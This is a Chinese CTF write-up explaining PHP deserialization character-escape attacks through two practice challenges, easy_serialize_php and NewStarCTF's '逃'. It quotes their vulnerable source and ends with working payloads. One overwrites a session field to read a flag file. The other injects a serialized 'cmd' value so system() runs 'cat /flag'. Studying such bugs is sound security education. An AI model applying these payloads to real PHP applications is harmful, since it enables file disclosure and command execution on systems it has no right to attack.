Php反序列化逃逸
[[安洵杯 2019]easy_serialize_php - LLeaves - 博客园](https://www.cnblogs.com/LLeaves/p/12813992.html#2. php反序列化字符逃逸)
[BUUCTF在线评测](https://buuoj.cn/challenges#[安洵杯 2019]easy_serialize_php) [安洵杯 2019]easy_serialize_php
[BUUCTF之安洵杯 2019]easy_serialize_php ——– 反序列化/序列化和代码审计_ctf 反序列化变量覆盖-CSDN博客
键值逃逸
- 因为序列化的字符串是严格的,对应的格式不能错,比如s:4:“name”,那s:4就必须有一个字符串长度是4的否则就往后要。
- 并且反序列化会把多余的字符串当垃圾处理,在花括号内的就是正确的,花括号
{}
外的就都被扔掉。
php中,反序列化的过程中必须严格按照序列化规则才能成功实现反序列化,但是反序列化是有一定的识别范围的,比如:
1 2 3 4 5 6 7 8 9 10 11 12
| <?php $str='a:2:{i:0;s:8:"Hed9eh0g";i:1;s:5:"aaaaa";}abc'; var_dump(unserialize($str)); ?>
<?php $str='a:2:{i:0;s:8:"Hed9eh0g";i:1;s:5:"aaaaa";}'; var_dump(unserialize($str)); ?>
|
两者运行效果是一样的
按照这题来说,以下代码:
1 2 3 4 5 6 7 8
| <?php
$_SESSION["flagflag"]='";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}'; $_SESSION["img"]='ZDBnM19mMWFnLnBocA==';
echo serialize($_SESSION);
//a:2:{s:8:"flagflag";s:58:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
|
而题中代码将flag替换成空,那么结果变为:
1
| a:2:{s:8:"";s:58:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
|
而序列化的时候,当内容被过滤为空时,会向后检查过滤掉字符的个数(这里是8)是否符合序列化条件,比如这里之后的;s:58:""
,又以 ; 结尾,正好满足规则,所以学历化结果就是:
1
| "s:117:"a:2:{s:8:"";s:58:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";"
|
发现成功变成了 s:8:"";s:58:"";
[安洵杯 2019]easy_serialize_php
现在来看题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| <?php
$function = @$_GET['f'];
function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); }
if($_SESSION){ unset($_SESSION); }
$_SESSION["user"] = 'guest'; $_SESSION['function'] = $function;
extract($_POST);
if(!$function){ echo '<a href="index.php?f=highlight_file">source_code</a>'; }
if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); }
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){ highlight_file('index.php'); }else if($function == 'phpinfo'){ eval('phpinfo();'); }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); }
|
这里我们只能控制fuction里的值,但是不能控制img里的值,(因为$_SESSION[‘img’]赋值是在extract()变量覆盖的后面执行的)然而我们这样让他过滤了之后,就可以间接控制到img对应的值。
E.g:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php header("Content-type:text/html;charset=utf-8");
echo "添加属性img前"; $_SESSION['phpflag']=';s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}'; var_dump( serialize($_SESSION));
echo "添加属性img后"; $_SESSION['img'] = base64_encode('guest_img.png'); var_dump(serialize($_SESSION)); ?>
|
此时第二段中第一个}之后并未被丢弃,但是过滤之后:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| <?php header("Content-type:text/html;charset=utf-8");
$_SESSION['phpflag']=';s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION['img'] = base64_encode('guest_img.png');
function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); }
echo "没有黑名单过滤的反序列化后"; $test = serialize($_SESSION); var_dump(unserialize($test));
echo "<br/>"; echo "<br/>"; echo "<br/>"; echo "<br/>"; echo "<br/>";
echo "有黑名单过滤的反序列化后"; $test = filter(serialize($_SESSION)); var_dump(unserialize($test)); ?>
|
发现}之后的就被舍弃了,留下了我们想要他读取的img值
所以最终 payload:
GET:?f=show_image
POST:_SESSION[‘flagflag’]=”;s:3:”aaa”;s:3:”img”;s:20:”L2QwZzNfZmxsbGxsbGFn”;}
上面image的值仅供参考
总结思想,其实就是利用过滤机制:
键1(过滤):值1 -> new键1
键2 -> new值1
值2(含构造的img)-> 键[‘img’] 然后后面跟上你要他访问的
原本的img因为成为多余字符了所以被丢弃
[NewStarCTF 2023 公开赛道]逃
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php highlight_file(__FILE__); function waf($str){ return str_replace("bad","good",$str); }
class GetFlag { public $key; public $cmd = "whoami"; public function __construct($key) { $this->key = $key; } public function __destruct() { system($this->cmd); } }
unserialize(waf(serialize(new GetFlag($_GET['key']))));
|
发现只能对key进行赋值,也是想到反序列化逃逸,但是我想不到()
然后我们看 s:9:”cat /flag”;} 和 s:6:”whoami”;}
传入
1 2 3 4 5 6 7 8 9 10 11
| <?php
class GetFlag { public $key = "\";s:3:\"cmd\";s:9:\"cat /flag\";}"; public $cmd = "whoami"; }
$a = new GetFlag(); echo serialize($a);
?>
|
变为:
1
| O:7:"GetFlag":2:{s:3:"key";s:29:"";s:3:"cmd";s:9:"cat /flag";}";s:3:"cmd";s:6:"whoami";}
|
这样的话被挤掉的 “;s:3:”cmd”;s:6:”whoami”;} 就有26个,然后whoami跟cat /flag比起来少了3个,那么我们就需要替换掉29个,即需要29个bad
所以payload:
1
| "badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}
|